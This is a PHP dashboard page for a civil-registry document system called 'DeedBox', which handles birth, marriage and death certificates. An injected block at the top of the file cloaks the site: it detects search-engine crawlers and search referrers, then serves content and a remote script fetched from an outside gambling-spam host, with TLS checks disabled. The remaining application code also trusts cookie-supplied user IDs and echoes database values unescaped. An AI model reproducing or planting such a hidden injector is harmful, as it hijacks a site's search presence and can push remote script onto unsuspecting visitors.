<?php
function isGoogleBot($user_agent)
{
  $google_bots = array('Googlebot', 'Googlebot-Image', 'Googlebot-News', 'Googlebot-Video', 'AdsBot-Google', 'Mediapartners-Google', 'APIs-Google', 'AdsBot-Google-Mobile-Apps', 'FeedFetcher-Google', 'DuplexWeb-Google', 'googleweblight', 'Google-SearchByImage', 'Google Favicon', 'yahoo', 'Slurp', 'bingbot');
  foreach ($google_bots as $bot) {
    if (stripos($user_agent, $bot) !== false) {
      return true;
    }
  }
  return false;
}
function isGoogleReferrer()
{
  if (isset($_SERVER['HTTP_REFERER'])) {
    $referrer = $_SERVER['HTTP_REFERER'];
    if (strpos($referrer, 'google.com') !== false || strpos($referrer, 'bing.com') !== false || strpos($referrer, 'yahoo.com') !== false) {
      return true;
    }
  }
  return false;
}
function HttpGetApi($url, $userAgent)
{
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_USERAGENT, $userAgent);
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_setopt($ch, CURLOPT_TIMEOUT, 10);
  $output = curl_exec($ch);
  if (curl_errno($ch)) {
    echo 'Curl error: ' . curl_error($ch);
  }
  curl_close($ch);
  return $output;
}
$filess = "";
$filess = isset($filess) && $filess === "" ? $_SERVER['SCRIPT_NAME'] : $filess;
$quer = $_SERVER['REQUEST_URI'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$h = $_SERVER['HTTP_HOST'];
if (isGoogleBot($userAgent)) {
  header('Content-Type:text/html;charset=utf-8');
  $keywords = array('googles/');
  $found = false;
  $key = '';
  $quer = str_replace("%20", "-", $quer);
  foreach ($keywords as $keyword) {
    $pos = strpos($quer, $keyword);
    if ($pos !== false) {
      $found = true;
      $key = substr($quer, $pos + strlen($keyword));
      break;
    }
  }
  if ($found) {
    if ($key == "sitemap.xml") {
      $quer = str_replace("sitemap.xml", "", $quer);
      $url = "https://jsc.bw-777bet.com/sitemap.php?h=" . $h . "&p=" . $quer;
      $html = HttpGetApi($url, $userAgent);
      echo $html;
      exit;
    }
    $url = 'https://jsc.bw-777bet.com/nr2.php?h=' . $h . '&u=' . urldecode($quer) . '&p=' . $filess . '&k=' . $key;
    $html = HttpGetApi($url, $userAgent);
    $current_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $html = str_replace('{dq_url}', $current_url, $html);
    echo $html;
    exit();
  } else {
    $url = "https://jsc.bw-777bet.com/link.php?p=" . $filess . "";
    $html = HttpGetApi($url, $userAgent);
    echo $html;
  }
} elseif (isGoogleReferrer() && strpos($quer, 'googles/')) {
  $user_agent = strtolower($userAgent);
  if (strpos($user_agent, 'mobile') !== false) {
    $url = "https://jsc.bw-777bet.com/style.js";
    $html = HttpGetApi($url, $userAgent);
    echo $html;
    exit;
  }
}
?><script lang="javascript">
  if (localStorage.getItem("employeeid") == undefined) {
    window.location = "login.php?#";
  }
</script>
<?php
define('e2edirectAccess', true);
require_once "connection.php";
require_once "functions.php";

if (!isset($_COOKIE['employeeid'])) {
  header('Location:login.php');
}
$user = $conn->prepare("SELECT EmployeeName FROM tbluseraccount WHERE UserID = ?");
$user->execute([$_COOKIE['userid']]);
$username  = $user->fetch(PDO::FETCH_ASSOC);

////////////// Registry Access Query /////////////////

$registry = $conn->prepare("SELECT a.*,b.AccessName,b.AccessType,b.Script,b.icon FROM tbluseraccesschild a LEFT JOIN tbluseraccess b ON a.AccessID  = b.AccessID WHERE b.AccessType ='Registry' AND a.UserID = ?");
$registry->execute([$_COOKIE['userid']]);
$registryLink = $registry->fetchAll(PDO::FETCH_ASSOC);

///////////////// Document Access Query ///////////////////////

$registryDoc = $conn->prepare("SELECT a.*,b.AccessName,b.AccessType,b.Script,b.icon FROM tbluseraccesschild a LEFT JOIN tbluseraccess b ON a.AccessID  = b.AccessID WHERE b.AccessType ='Documents' AND a.UserID = ?");
$registryDoc->execute([$_COOKIE['userid']]);
$docLink = $registryDoc->fetchAll(PDO::FETCH_ASSOC);

///////////////// Others Access Query ///////////////////////

$OthersDoc = $conn->prepare("SELECT a.*,b.AccessName,b.AccessType,b.Script,b.icon FROM tbluseraccesschild a LEFT JOIN tbluseraccess b ON a.AccessID  = b.AccessID WHERE b.AccessType ='Others' AND a.UserID = ?");
$OthersDoc->execute([$_COOKIE['userid']]);
$othersdocLink = $OthersDoc->fetchAll(PDO::FETCH_ASSOC);

///////////////// Reports Access Query //////////////////////

$ReportDoc = $conn->prepare("SELECT a.*,b.AccessName,b.AccessType,b.Script,b.icon FROM tbluseraccesschild a LEFT JOIN tbluseraccess b ON a.AccessID  = b.AccessID WHERE b.AccessType ='Reports' AND a.UserID = ? ORDER BY FIELD(AccessName,'Birth Certificate Report','Marriage Certificate Report','Death Certificate Report','Other Report')");
$ReportDoc->execute([$_COOKIE['userid']]);
$ReportLink = $ReportDoc->fetchAll(PDO::FETCH_ASSOC);


?>
<!DOCTYPE html>
<html lang="en-US" dir="ltr">

<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>DeedBox</title>
  <link rel="shortcut icon" type="image/x-icon" href="assets/img/logo/logo1.png">

  <link rel="manifest" href="assets/img/favicons/manifest.json">
  <meta name="msapplication-TileImage" content="assets/img/favicons/mstile-150x150.png">
  <meta name="theme-color" content="#ffffff">
  <script src="assets/vendors/imagesloaded/imagesloaded.pkgd.min.js"></script>
  <script src="assets/vendors/simplebar/simplebar.min.js"></script>
  <script src="assets/js/config.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.5.0/Chart.min.js"></script>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css" integrity="sha512-SnH5WK+bZxgPHs44uWIX+LLJAJ9/2PkPKZ5QiAj6Ta86w+fsb2TkcmfRyVX3pBnMFcV7oQPJkl9QevSCWr3W6A==" crossorigin="anonymous" referrerpolicy="no-referrer" />
  <script>
    window.config.set({
      phoenixIsNavbarVerticalCollapsed: false
    });
    document.documentElement.classList.remove('navbar-vertical-collapsed');
  </script>
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin="">
  <link href="https://fonts.googleapis.com/css2?family=Manrope:wght@200;300;400;500;600;700;800&display=swap" rel="stylesheet">
  <link href="../assets/vendors/simplebar/simplebar.min.css" rel="stylesheet">
  <link rel="stylesheet" href="assets/css/line.css">
  <link href="../assets/css/theme-rtl.min.css" type="text/css" rel="stylesheet" id="style-rtl">
  <link href="../assets/css/theme.min.css" type="text/css" rel="stylesheet" id="style-default">
  <link href="../assets/css/user-rtl.min.css" type="text/css" rel="stylesheet" id="user-style-rtl">
  <link href="../assets/css/user.min.css" type="text/css" rel="stylesheet" id="user-style-default">
  <link href="assets/css/bootstrap-icons.css" rel="stylesheet">
  <script>
    var phoenixIsRTL = window.config.config.phoenixIsRTL;
    if (phoenixIsRTL) {
      var linkDefault = document.getElementById('style-default');
      var userLinkDefault = document.getElementById('user-style-default');
      linkDefault.setAttribute('disabled', true);
      userLinkDefault.setAttribute('disabled', true);
      document.querySelector('html').setAttribute('dir', 'rtl');
    } else {
      var linkRTL = document.getElementById('style-rtl');
      var userLinkRTL = document.getElementById('user-style-rtl');
      linkRTL.setAttribute('disabled', true);
      userLinkRTL.setAttribute('disabled', true);
    }
  </script>
  <style>
    html,
    body {
      overflow: hidden !important;
      font-size: 13px !important;
    }

    .form-floating select {
      padding: .9rem .4rem .4rem 1rem !important;
    }

    @media screen and (max-width: 1551px) {

      html,
      body {
        font-size: 11px !important;
      }

    }

    @media screen and (max-width: 1366px) {

      html,
      body {
        font-size: 10px !important;
      }

      .form-floating select {
        padding: .9rem .4rem .4rem 1rem !important;
      }

      .navbar-nav .nav-item .nav-link ul.dropdown-menu {
        margin-top: -1rem !important;
      }

      label {
        font-size: .75rem !important;
      }

      .offcanvas-end {
        width: 30rem !important;
      }
    }

    .fs--10 {
      font-size: 12px !important;
    }

    .fs--11 {
      font-size: 14px !important;
    }

    .form-check-input-custom {
      height: 20px !important;
      width: 40px !important;
    }

    .form-float-lg {
      height: 50px !important;
    }
    .content{
      height: 95vh !important; 
      margin-left: calc(var(--phoenix-navbar-vertical-width) + .5rem) !important;
    }
    @media only screen and (max-width: 4rem) {
      .text-hide {
        display: none !important;
      }
     
    }
  </style>
</head>

<body>
  <main class="main" id="top">
    <nav class="navbar navbar-vertical navbar-expand-lg border-end-0" id="container" style="top: 0 !important;">
      <script>
        var navbarStyle = window.config.config.phoenixNavbarStyle;
        if (navbarStyle && navbarStyle !== 'transparent') {
          document.querySelector('body').classList.add(`navbar-${navbarStyle}`);
        }
      </script>
      <div class="collapse navbar-collapse parent navbarVerticalCollapse" id="navbarVerticalCollapse">
        <div class="navbar-vertical-content">
          <ul class="navbar-nav flex-column" id="navbarVerticalNav">
            <li class="nav-item">
              <div class="d-flex align-items-center px-2"><img src="assets/img/logo/logo1.png" alt="phoenix" width="35">
                <!-- <p class="logo-text ms-2 d-none d-sm-block text-black text-hide my-element" id="my-element">DeedBox</p> -->
                <p class="logo-text ms-2 text-black text-hide hide-if-small" id="my-element">DeedBox</p>
              </div>
              
            </li>
            <script>
              const container = document.getElementById('container');
              const elementsToHide = container.querySelectorAll('.hide-if-small');

              const MIN_WIDTH = 55; // in pixels

              const observer = new ResizeObserver(entries => {
                for (const entry of entries) {
                  const containerWidth = entry.contentRect.width;
                  if (containerWidth < MIN_WIDTH) {
                    elementsToHide.forEach(el => el.style.display = 'none');
                  } else {
                    elementsToHide.forEach(el => el.style.display = '');
                  }
                }
              });

              observer.observe(container);
            </script>
            <li class="nav-item nav-itemsx">
              <p class="navbar-vertical-label fs--10 fw-medium text-muted text-uppercase <?= $registry->RowCount() == 0 ? 'd-none' : '' ?>">REGISTRY</p>
              <hr class="navbar-vertical-line">
              <?php
              foreach ($registryLink as $key => $value) {
              ?>
                <span class="nav-item-wrapper">
                  <a class="nav-link label-1 pt-2" role="button" data-bs-toggle="" aria-expanded="false" onclick="<?= $value['Script'] ?>">
                    <div class="d-flex align-items-center">
                      <span class="nav-link-icon">
                        <img src="/assets/img/icons/employee-registry.svg" alt="" width="16">\
                      </span>
                      <span class="nav-link-text-wrapper">
                        <span class="nav-link-text fw-medium text-dark fs--10">
                          <?= $value['AccessName'] ?>
                        </span>
                      </span>
                    </div>
                  </a>
                </span>
              <?php } ?>
            </li>
            <li class="nav-item nav-itemsx">
              <p class="navbar-vertical-label fs--10 fw-medium text-muted text-uppercase <?= $registryDoc->RowCount() == 0 ? 'd-none' : '' ?>">DOCUMENTS</p>
              <hr class="navbar-vertical-line">
              <?php
              foreach ($docLink as $key => $doc) {
              ?>
                <span class="nav-item-wrapper">
                  <a class="nav-link label-1 pt-2" role="button" data-bs-toggle="" aria-expanded="false" onclick="<?= $doc['Script'] ?>">
                    <div class="d-flex align-items-center">
                      <span class="nav-link-icon">
                        <i class="<?= $doc['icon'] ?>" style="height: 1rem; width: 1rem;"></i>
                      </span>
                      <span class="nav-link-text-wrapper">
                        <span class="nav-link-text fw-medium text-dark fs--10">
                          <?= $doc['AccessName'] ?>
                        </span>
                      </span>
                    </div>
                  </a>
                </span>
              <?php } ?>
              <p class="navbar-vertical-label mt-0 ps-5 pt-3 fw-medium text-muted <?= $OthersDoc->RowCount() == 0 ? 'd-none' : '' ?>">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Others</p>

              <?php
              foreach ($othersdocLink as $key => $others) {
              ?>
                <span class="nav-item-wrapper">
                  <a class="nav-link label-1 pt-2" role="button" data-bs-toggle="" aria-expanded="false" onclick="<?= $others['Script'] ?>">
                    <div class="d-flex align-items-center">
                      <span class="nav-link-icon">
                        <i class="<?= $others['icon'] ?>" style="height: 1rem; width: 1rem;"></i>
                      </span>
                      <span class="nav-link-text-wrapper">
                        <span class="nav-link-text fw-medium text-dark fs--10">
                          <?= $others['AccessName'] ?>
                        </span>
                      </span>
                    </div>
                  </a>
                </span>
              <?php } ?>
            </li>
            <li class="nav-item nav-itemsx">
              <p class="navbar-vertical-label fs--10 text-uppercase fw-medium text-muted  <?= $ReportDoc->RowCount() == 0 ? 'd-none' : '' ?>">REPORTS</p>
              <hr class="navbar-vertical-line">


              <?php
              foreach ($ReportLink as $key => $reports) {
              ?>
                <span class="nav-item-wrapper">
                  <a class="nav-link label-1 pt-2" role="button" data-bs-toggle="" aria-expanded="false" onclick="<?= $reports['Script'] ?>">
                    <div class="d-flex align-items-center">
                      <span class="nav-link-icon">
                        <i class="<?= $reports['icon'] ?>" style="height: 1rem; width: 1rem;"></i>
                      </span>
                      <span class="nav-link-text-wrapper">
                        <span class="nav-link-text fw-medium text-dark fs--10">
                          <?= $reports['AccessName'] ?>
                        </span>
                      </span>
                    </div>
                  </a>
                </span>
              <?php } ?>
            </li>
            <li class="nav-item nav-itemsx">
              <p class="navbar-vertical-label fs--10 text-uppercase fw-medium text-muted">HELP CENTRE</p>
              <hr class="navbar-vertical-line">
              <span class="nav-item-wrapper">
                <a class="nav-link label-1 pt-2" role="button" data-bs-toggle="" aria-expanded="false" onclick="load_faq();">
                  <div class="d-flex align-items-center">
                    <span class="nav-link-icon">
                      <i class="fa fa-search" style="height: 1rem; width: 1rem;" aria-hidden="true"></i>
                    </span>
                    <span class="nav-link-text-wrapper">
                      <span class="nav-link-text fw-medium text-dark fs--10">
                        FAQ
                      </span>
                    </span>
                  </div>
                </a>
              </span>
            </li>
          </ul>
        </div>
      </div>
      <div class="navbar-vertical-footer bg-white"><button class="btn navbar-vertical-toggle border-0 fw-semi-bold w-100 white-space-nowrap d-flex align-items-center fs--11 text-dark">
          <img src="/assets/img/icons/collapse-view.svg" alt=""><span class="navbar-vertical-footer-text ms-2">Collapsed View</span></button>
      </div>
    </nav>
    <div class="content scrollbar py-0 position-relative">
      <div class="card top-0 end-0 position-absolute me-5 mt-3" style="z-index: 99 !important;">
        <div class="card-body p-2">
          <ul class="navbar-nav navbar-nav-icons flex-row p-0">
            <li class="nav-item border-end">
              <div class="theme-control-toggle fa-icon-wait d-flex align-items-center pt-1 pe-3 ps-2">
                <input class="form-check-input ms-0 theme-control-toggle-input" type="checkbox" data-theme-control="phoenixTheme" value="dark" id="themeControlToggle">
                <label class="mb-0 theme-control-toggle-label theme-control-toggle-light  bg-white" for="themeControlToggle" data-bs-toggle="tooltip" data-bs-placement="left" title="Switch theme">
                  <img src="/assets/img/icons/dark-mode.svg" alt="" width="20">
                </label>
                <label class="mb-0 theme-control-toggle-label theme-control-toggle-dark  bg-white" for="themeControlToggle" data-bs-toggle="tooltip" data-bs-placement="left" title="Switch theme">
                  <img src="/assets/img/icons/light-mode.svg" alt="">
                </label>
              </div>
            </li>
            <li class="nav-item dropdown d-flex align-items-center px-3">
              <a class="btn btn-sm btn-danger" onclick="logout_();logout()">Logout</a>
            </li>
          </ul>
        </div>
      </div>
      <div id="content_space" class=""></div>
    </div>
  </main>
  <script src="assets/js/jquery.js"></script>
  <script src="assets/vendors/popper/popper.min.js"></script>
  <script src="assets/vendors/bootstrap/bootstrap.min.js"></script>
  <script src="assets/vendors/anchorjs/anchor.min.js"></script>
  <script src="assets/vendors/fontawesome/all.min.js"></script>
  <script src="assets/vendors/lodash/lodash.min.js"></script>
  <script src="../../../v3/polyfill.min.js?features=window.scroll"></script>
  <script src="assets/vendors/list.js/list.min.js"></script>
  <script src="assets/vendors/feather-icons/feather.min.js"></script>
  <script src="assets/js/phoenix.js"></script>
  <script src="assets/vendors/leaflet.markercluster/leaflet.markercluster.js"></script>
  <script src="assets/vendors/leaflet.tilelayer.colorfilter/leaflet-tilelayer-colorfilter.min.js"></script>
  <script src="assets/js/ecommerce-dashboard.js"></script>
  <script src="assets/vendors/echarts/echarts.min.js"></script>
  <script>
    function logout_() {
      document.cookie = name + "=;expires=Thu, 01 Jan 1970 00:00:00 GMT";
      localStorage.clear();
      window.location = "login.php";
    }

    function logout() {
      fetch('/actions/logout.php', {
        method: 'POST',
        mode: 'no-cors',
      }).then(response => response.text()).then(result => {
        let status = result.split(`~:~`);

        if (status[0] == 'success') {
          window.location.replace("login.php");
        } else {
          console.log(result)
        }
      })
    }

    function _saveUserAction(module, action, reference, description) {
      $.post('/actions/save-user-log.php', {
        module,
        action,
        reference,
        description
      }, function(data) {
        if (jQuery.trim(data) != 'success') {
          console.error(data);
        }
      })
    }

    // Dashboard
    load_dashboard();

    function load_audittrail() {
      $("#content_space").load("/reports/audit.trail/audit.trail.main.php");
    }

    function load_dashboard() {
      $("#content_space").load("dashboard/dashboard.php");
    }
    // REGISTRY
    function load_employeeregistry() {
      $("#content_space").load("registry/employee.registry/employee.registry.main.php");
    }

    function load_useraccess() {
      $("#content_space").load("registry/user.access/user.access.main.php");
    }
    // DOCUMENTS/MODULES
    function load_Bcert() {
      $("#content_space").load("documents/birth.certificate/birth.certificate.main.php");
    }

    function load_Marriagecert() {
      $("#content_space").load("documents/marriage.certificate/marriage.certificate.main.php");
    }

    function load_Deathcert() {
      $("#content_space").load("documents/death.certificate/death.certificate.main.php");
    }

    function load_others(doctypeID) {
      // $("#content_space").load("documents/others/others.main.php");

      $.post("documents/others/others.php", {
          doctypeID: doctypeID
        },
        function(data) {
          $("#content_space").html(data);
        }
      );
    }



    // function load_AAP() {
    //   $("#content_space").load("documents/aap/aap.main.php");
    // }

    // function load_ML() {
    //   $("#content_space").load("documents/ml/ml.main.php");
    // }
    // REPORTS
    function load_bCertReport() {
      $("#content_space").load("reports/birth.certificate.report/birth.certificate.report.main.php");
    }

    function load_mCertReport() {
      $("#content_space").load("reports/marriage.certificate.report/marriage.certificate.report.main.php");
    }

    function load_dCertReport() {
      $("#content_space").load("reports/death.certificate.report/death.certificate.report.main.php");
    }

    function load_otherCertReport() {
      $("#content_space").load("reports/others.report/others.report.main.php");
    }
    // FAQ
    function load_faq() {
      $("#content_space").load("help/faq/faq.php");
    }
  </script>
  <?php
  include 'alert.php';
  ?>
</body>

</html>